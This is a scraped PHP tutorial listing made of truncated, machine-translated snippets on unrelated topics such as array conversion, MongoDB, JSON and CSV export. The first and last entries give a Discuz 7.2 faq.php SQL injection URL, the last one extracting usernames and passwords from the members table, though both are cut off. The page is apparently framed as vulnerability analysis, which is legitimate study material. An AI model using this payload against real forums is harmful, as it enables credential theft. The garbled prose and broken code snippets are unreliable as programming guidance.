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Faq of Discuz7.2. php SQL injection vulnerability analysis, discuz7.2faq. php

Faq of Discuz7.2. php SQL injection vulnerability analysis, discuz7.2faq. php Injection code example:Copy codeThe Code is as follows:Http://www.bkjia.com/faq.php? Action = grouppermission & gids [99] = % 27 & gids [100] [0] =) and (select 1 from

Several Methods for converting stdClass Object to array in PHP

Method 1: Copy codeThe Code is as follows:// Convert PHP stdClass Object to arrayFunction object_array ($ array ){If (is_object ($ array )){$ Array = (array) $ array;} If (is_array ($ array )){Foreach ($ array as $ key => $ value ){$ Array [$ key] =

Are PHP native functions fixed?

This article introduces a native function of php and Its Optimized function execution efficiency comparison. It is concluded that the native function of php is not necessarily the most suitable. This article introduces a native function of php and

Php operations on mongodb

********************************** Connect to the MongoDB database * * ************************* format ("mongodb: username: password @ address: Specifies the database by default on the port ", parameter) $ connnewMongo (); can be abbreviated as $

A detailed introduction to Array_count_values

Array_count_values calculates the number of occurrences of all values in a one-dimensional array $array = array (1, "Hello", 1, "World", "Hello");p Rint_r (Array_count_values ($array)) ; output: Array ([1] = 2 [Hello] = 2 [World] = 1) '). addclass ('

Article Recommended for PHP count () function 10 articles

Array_count_values calculates the number of occurrences of all values in a one-dimensional array $array = array (1, "Hello", 1, "World", "Hello");p Rint_r (Array_count_values ($array)) ; output: Array ([1] = 2 [Hello] = 2 [World] = 1) '). addclass ('

foreach Loop Usage Instance code

In PHP, foreach is used to loop through all the elements of an array. The foreach basic syntax is as follows: foreach ($array _variable as $value) {[Code to execute]} or FOREACH ($array _variable as $key = $value) {[Code to EXE Cute]} In both cases,

Nusoap passed object array

: This article mainly introduces the nusoap passing object array. if you are interested in the PHP Tutorial, refer to it. Original article: http://www.cnblogs.com/Jaypei/archive/2009/04/09/1432521.html The previous successful use of nuSOAP to

Several methods for converting stdClassObject to array in PHP

When we often use the API interface to retrieve the json value returned by data, the value obtained by parsing the json_decode method is generally not an array, but an object string with stdClassObjec, if we want to obtain the corresponding PHP

Php method for random replacement of elements in a logarithm group _ PHP Tutorial

Php performs random replacement of elements in the logarithm group. Php logarithm group element random exchange method this article describes the php logarithm group element random exchange method. Share it with you for your reference. The specific

Php random replacement of elements in the logarithm group, php array element replacement _ PHP Tutorial-php Tutorial

Php performs random replacement of elements in the logarithm group, and changes of php array elements. Php: the method for randomly changing elements in the logarithm group. The example in this article describes how to randomly change elements in

JavaScript Object symbol of php (JSON)

The JavaScript Object symbol (JSON) of PHP extensions starts with PHP 5.2.0. JSON extensions are built in and compiled into PHP by default. JSON serialization interface JsonSerializable Classes that implement JsonSerializable can customize their

October 24 Morning PHP Object-oriented

Defining Arrays$attr=Array();$attr[0] = 1; indexed array$attr=Array(1,2,3,4); associative arrays$attr=Array("Code" = "P001", "name" = "Zhang San"); two-dimensional arrays$attr=Array(Array(),Array()); array traversal for loop traversal for($i=

PHP uses AJAX to export CSV or Excel (thinkphp) methods

First of all I highly recommend to see this article you will export files set to CSV format file The actual test export CSV file speed is 10 times of the Excel file aboutFirst, let me introduce the method of exporting CSV file:If you are simply on

PHP Delete null value in array or specify value operation _php Tutorial

We introduce the operation of the array in PHP, delete the specified value in the array or determine whether there is a value in the array or clear the empty value operation, the need for students can refer to. Let's take a look at a number of ways

Do a self-search engine _php Tutorial

Ccterran (original) Author: iwind Friends with Dreamweaver made a website, no dynamic content, just some personal collection of articles, personal introduction and so on. Now more content, want to ask me to help him to do a search engine. To be

Convert json to array

Json to array {"data": [{"count": "0" },{ "count": "0" },{ "count": "0 "}, {"count": "0" },{ "count": "4" },{ "count": "0"}], "result": 0} How to convert the json format {"Data": [0, 0, 0, 40], "result": 0} Reply to discussion

May 29 Service Interface

Interface:The interfaces are divided into two categories :object-oriented interfaces and often-called calling interfaces ,An object-oriented interface is an abstract class (abstract class: The comparison abstraction cannot be directly new requires

Brief analysis of thinkphp template output function _php example

Each xxxAction.class.php file in the thinkphp represents an application module in which each method (function) represents an operation that can be divided into operations that have output to the template and operations that do not require

Discuz7.2 version of faq.php SQL injection Vulnerability Analysis _php instance

Inject code instance: Copy CodeThe code is as follows: http://www.php.net/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select Count (*), Concat ((Select (select Concat (Username,0x20,password) from cdb_members limit

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